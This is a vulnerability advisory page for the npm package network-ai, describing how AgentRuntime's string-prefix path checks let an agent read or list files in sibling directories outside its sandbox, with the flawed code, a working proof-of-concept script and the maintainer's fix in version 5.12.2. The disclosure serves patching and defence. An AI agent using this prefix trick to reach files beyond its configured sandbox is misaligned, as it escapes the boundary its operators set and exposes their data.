Media

Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory

  • Publicada: 19.06.2026
  • Actualizado: 11.10.2026 10:22

Summary

AgentRuntime promises scoped file access under a configured sandbox basePath, but its path containment checks use raw string prefix tests. A sandbox base such as /tmp/network-ai-sandbox also matches a sibling path such as /tmp/network-ai-sandbox_evil/secret.txt.

An agent/user that can call AgentRuntime.readFile() or AgentRuntime.listDir() can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

Details

The vulnerable containment check is in lib/agent-runtime.ts:

ts
resolvePath(filePath: string): string | null {
  const normalized = normalize(filePath);
  const absolute = isAbsolute(normalized)
    ? normalized
    : join(this.config.basePath, normalized);
  const resolved = resolve(absolute);

  // Traversal check
  if (!resolved.startsWith(this.config.basePath)) return null;
  return resolved;
}

startsWith() is not path-boundary-aware. If this.config.basePath is /tmp/network-ai-sandbox, then /tmp/network-ai-sandbox_evil/secret.txt also starts with /tmp/network-ai-sandbox despite being outside the sandbox.

The same pattern appears in SandboxPolicy.isPathAllowed() for allowed and blocked paths. FileAccessor.read(), FileAccessor.write(), and FileAccessor.list() rely on these checks before I/O, and AgentRuntime.readFile() exposes this behavior. Reads auto-approve by default when autoApproveReads is enabled.

Affected source evidence:

  • lib/agent-runtime.ts:393-423 — isPathAllowed() / resolvePath() use string startsWith() containment.
  • lib/agent-runtime.ts:669-691 — file read sink relies on those checks.
  • lib/agent-runtime.ts:933-958 — AgentRuntime.readFile() exposes file reads.

PoC

Run from the repository root after installing dependencies:

bash
node -r ts-node/register/transpile-only - <<'TS'
const { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require('fs');
const { tmpdir } = require('os');
const { join } = require('path');
const { AgentRuntime } = require('./lib/agent-runtime');

(async () => {
  const parent = mkdtempSync(join(tmpdir(), 'network-ai-poc-'));
  const base = join(parent, 'sandbox');
  const sibling = join(parent, 'sandbox_evil');
  mkdirSync(base);
  mkdirSync(sibling);
  writeFileSync(join(sibling, 'secret.txt'), 'SECRET_OUTSIDE_SANDBOX', 'utf8');

  const runtime = new AgentRuntime({
    policy: { basePath: base, allowedPaths: ['.'], allowedCommands: [] },
  });

  const absoluteRead = await runtime.readFile(join(sibling, 'secret.txt'), 'poc-agent');
  const relativeRead = await runtime.readFile('../sandbox_evil/secret.txt', 'poc-agent');
  console.log(JSON.stringify({
    base,
    outside: join(sibling, 'secret.txt'),
    absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },
    relativeRead: { success: relativeRead.success, content: relativeRead.content },
  }, null, 2));
  rmSync(parent, { recursive: true, force: true });
})();
TS

Observed result: both reads succeed and return SECRET_OUTSIDE_SANDBOX, even though the file is outside basePath.

Impact

An agent/user with access to AgentRuntime file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses FileAccessor.write() directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

SandboxPolicy.resolvePath() and isPathAllowed() now use separator-anchored prefix checks (resolved === base || resolved.startsWith(base + path.sep)) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. /srv/app-evil vs base /srv/app) is no longer treated as in-scope.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm network-ai < 5.12.2 5.12.2

Referencias

Puntuación CVSS 6.5/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-22, CWE-23
Plataforma
npm
Paquete
network-ai
Publicada
19.06.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-jvcm-f35g-w78p - CC BY 4.0

Historial de vulnerabilidades: network-ai

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (9) en el archivo
Entradas en total
9
Primera → última
05.2026 06.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 3
  • Media 4

Divulgaciones por año

  1. 2026: 9
Gravedad:
  1. Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory esta entrada
    Media · 6.5 CVE-2026-58481 < 5.12.2 5.12.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.